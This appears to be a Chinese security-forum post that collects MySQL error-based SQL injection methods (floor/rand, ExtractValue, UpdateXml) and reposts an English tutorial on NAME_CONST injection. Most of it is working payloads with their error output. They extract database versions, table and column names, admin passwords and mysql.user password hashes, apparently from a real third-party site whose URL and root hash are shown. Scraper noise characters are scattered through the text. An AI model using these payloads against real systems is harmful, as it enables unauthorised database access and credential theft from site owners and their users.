找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3385|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
; m& _  V, j/ Z' M5 p% Y首先进行正常查询:

mysql> select * from article where id = 1;
( }6 I2 N5 M/ d5 e7 R2 M+—-+——-+———+* ~4 K$ I' y1 W$ i" T0 W
| id | title | content |
; S9 W2 w$ j$ |+—-+——-+———+6 l. V& H% q+ i& ^6 g3 a7 H0 k
|  1 | test  | do it   |
6 R0 Z5 d/ ?! u4 ?4 V0 y+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
2 Z1 R' p' ~: d9 }" t5 `ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。5 b4 ?' z. u4 j- s
例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
! H% L: l' d5 e/ X2 L. FERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
% Y  ]) H- A& J! `3 d5 b4 p$ L: ]ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue, t) h& u0 G" R- R
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–; ]" o' V6 i0 ~: E4 I1 |1 ^) l
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

. K, ~! y9 R6 ]

9 M* x. }  S$ }5 N! J& R. p* H3 i

再收集:


  x; ?5 h5 i6 M6 {% l  bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 1 U+ s8 k1 y& }8 c$ G! u5 G
4 |9 E  D# g, }- o3 {
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’( e( ]4 K7 I4 ?* _! Z  o8 m- F- H: G

5 w2 Y) B' e2 [5 _, y) whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)9 ^0 q$ t0 J1 L& C

5 |- O) w4 [3 ~) AErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 1 @9 e( \( h3 q. \! ]1 l# x

: {9 ^% S( T4 G/ `" \9 ^MYSQL高版本报错注入技巧-利用NAME_CONST注入
, g+ ]0 Q8 G0 q3 jIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. ) X# E; N, u6 K* K4 X: h  V
: g& |7 l4 M) \" Z+ T6 Y- F
4 E. u2 h7 l4 V" W7 K2 E" J
相关信息2 g; s, x# l: O+ Q+ \# Z

1 N: X5 h# j3 B# D( d/ Q( VNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.9 J+ i8 j7 S6 l) }. M% y) S8 h
" T* L3 ?9 n; y* F4 @
Code:4 \1 _# T; V9 q0 Q; H3 t
NAME_CONST(DATA, VALUE)
3 q$ S; t4 G- A- b8 r3 I. `- m5 D5 Y0 s0 H9 l: W( ~5 W2 a$ h4 Q
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
$ H0 Q. W4 [7 i. ^+ l
- x" N! e8 u. F5 {SELECT NAME_CONST('TEST', 1)' y$ Y( z# k/ Z/ b1 S# a+ h4 i

6 X+ O9 \1 F% o3 Z( M
/ ?" y1 [. t- ]9 B7 z; C$ T: U+ I( ?- S
|---------------|1 {  ~; c6 r0 ?3 B" |
|     TEST      |
- v0 Z( R) E6 f' l& @|               |
9 ?5 X9 C( o0 a( K% i6 U& P2 s  B|---------------|
* }& k, o: \9 f) J2 n% z- }|       1       |
- H3 f9 K3 ^# q|               |
: S8 S' s# E8 p; o* T  f* F|---------------|% a! m6 D; N7 I3 \: j4 A6 t4 P
; `; X" m) V6 s8 H+ W3 e1 B1 G: i
8 @, X: @; `  H' W+ L

. J- ]5 w+ e2 t. U% l9 z& Z9 W' K9 i( N) h4 P* ]
http://dev.mysql.com/doc/refman/5.0/en/m...name-const# T) W9 }0 M6 L( Q8 F. @
Intro to MySQL Variables
9 b8 \( F: E! @& O" ~
2 ~1 d0 e+ ]7 q0 P4 |Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.1 A+ ~8 T) O/ t. |
8 H& o  T$ g" Y8 c
Code:6 L% l1 A+ _% L* _5 @& x
http://www.baido.hk/qcwh/content ... ;sid=19&cid=2611 h4 u! |/ ~3 e3 Y0 t
8 v" F( v3 \; M0 T- S9 J6 h
3 J# @- T6 o" f

. y3 n2 y7 ]& E8 k" D* O

- q3 h& J! K5 v4 e0 w
, I$ Y5 o8 [4 Y+ B5 yCode:1 w$ g, l0 V1 G: l0 L( e$ S
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
  ^, ]& F8 U8 A" H  g( O- ~! z

( _! C9 k/ q8 u% x2 M' {5 [1 ^3 k0 t' X( k5 n; I
VAR = Your MySQL variable.
0 M$ n7 C9 M+ W6 b$ t
4 o! Z) ^1 N- u" I* P5 kMySQL 5.1.3 Server System Variables
2 t/ ?: ]& e+ _! A# J7 X# S& O. Y
9 z; E% ?( m# T$ WLet's try it out on my site..% ^; K" ~, n; y7 X. @% l! C

4 |. o6 X5 |4 ]4 Q4 j/ _Code:  W. z2 I0 f0 F
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--" _2 M1 Z; @8 {
2 ]/ {, H6 v5 O* x% D& b" z
Erroruplicate column name '5.0.27-community-nt'6 g/ _' ~/ {( ]8 j! N* L

2 l1 I% e+ i3 k: r) e! ^! V$ M( e( ?
3 N% B: y. L! V. R

! T/ Y" M5 [6 k9 G1 [7 V# K: [) l* L
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
, @1 W/ Y3 M4 _, k8 ], s4 H2 N$ A* A* M2 H: |
Data Extraction3 i6 N2 k) R# Q) f1 L' a

3 `* a8 V# b4 v  ~# q: ]' ECode:
3 a" B8 z6 I8 C  n0 z) r+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--2 [3 R+ h5 j) d+ z% V+ f  c

. w. S3 }7 c  ~7 ~2 R0 y
; z; {/ w( ?! k" z' QWe should get a duplicate column 1 error...
. p! F* `. Y8 ]- ?, d# p8 p$ w) ?( h( ^
Code:
( C4 R3 L. j& p2 i8 q6 Mhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
+ Y3 X, _- L5 c+ N- ]4 i; a9 p5 H7 n1 {. O5 g4 f
Erroruplicate column name '1$ |9 X8 I; P8 ?, T! `

7 x( G& M& d3 S7 _; u5 X0 o3 T2 H$ c" O
5 n+ I4 G; _3 ?
5 [8 v% I0 p3 v
6 z: A# h6 I$ r) ~/ \# T! n

+ {; n( r, V4 f* N0 q+ S) BNow let's get the tables out this bitch..
; e  L% _) `. C" s
+ G& R7 O5 f) y4 OCode:
+ h' P1 ?: r8 H- K! C+ V+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
9 J" B( `. j4 z; a3 ]7 j

# R6 C: T& W/ w8 l' h) {
7 f& F0 I7 z4 o4 }Let's see if it works here, if it does, we can go on and finish the job.  @, R" z1 H* i+ T+ W, \
+ J6 g; E& m: }$ S7 ]0 K* C7 L0 E2 r
Code:2 e$ ], O* K0 S- r4 S# p  d9 [3 s1 Y( L
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
  o3 ]# T7 g  ~: ^
2 y' o% T( R1 K' H. L; U6 J  _# Y" V
Erroruplicate column name 'com_admanage$ S  k* W' k) j8 b: ]& T( c
0 n% U) g& J4 H! p% K  g& I

0 s. i8 b8 U0 d- Q  I" I  y$ Y
  g6 j* q' U9 ^* Z# D1 X: B9 O% t) O) O% p: Q& M# \# V

  I5 S- p- A$ f: H$ v6 X2 D0 @) {' \- Y: X" X3 d  X5 Q
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.' u' b! Y3 A* {! f& z! \0 M6 {

1 v0 t3 d' k. W0 n" ~2 i* eLet's get the columns out of the user table..
8 }' s  n( o% f4 }' x( c8 U7 U. X$ @8 v0 K# j$ u
Code:7 W) W/ ?5 F1 ~6 X: z
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
4 v: ?  e$ B( D( D  @+ ~# A3 Y

0 d8 W$ ^0 Q) N! h: P
' P) V$ h3 R0 x% GSo mine looks like this, and I get the duplicate column name 'Host'.
+ m2 L/ k$ j. ]2 \9 F( A" W* V# `% M% K$ d" D5 X
Code:% O6 u" b; U" o" ^
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
* a# s/ n3 j0 i  P7 v
( c- ~! _; {) @7 R( [Erroruplicate column name 'Host'
  b6 R! m* Y: s: g

- \8 j/ ~7 o+ g- R! a. U- D! M$ R/ \( @

2 E- l. n& G. X# d  X& N: b: A' a7 a( ]9 `) v7 U, ?0 Q

, N" ~. X5 g# @/ Y4 `4 L8 J) M8 y" i7 Y/ V
Woot, time to finish this bitch off.
3 k5 A' l& J, `" f6 n: x. r- Y* V* l6 `- {
Code:
- o2 k! G- |0 M) t  j, A+ L+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--" w. R$ U! }5 c$ g

* C" V" ]  J7 S) w- y# R" V1 A3 v& a3 `- r2 T
So mine looks like this...
2 C# u+ D3 g) B$ a+ J6 h$ i
, U% v$ F4 h5 S3 zCode:
$ V+ A: b- F4 H2 K7 N1 g: Whttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
8 ?! \6 l+ M) R1 s
1 b5 g  |) Y: ]Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'( b/ [3 }" t; L: W
5 v% b6 f6 U' m+ g2 ]3 x0 B; `0 @: `. l

0 W0 E; ]3 `5 y! g& r, l) ~
6 W! R* L1 X7 @; o" d  X  V$ ?, g# |" y! b1 G- I  ]* }$ P) V( O0 r

# L, W* K8 R% `3 e* }6 D5 c5 r1 ?" W  }$ `9 d* n% d. S
And there we have it, thanks for reading.
( z: X0 O8 g5 j. ^# Z

% G* `4 q) ?5 ]2 _% V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表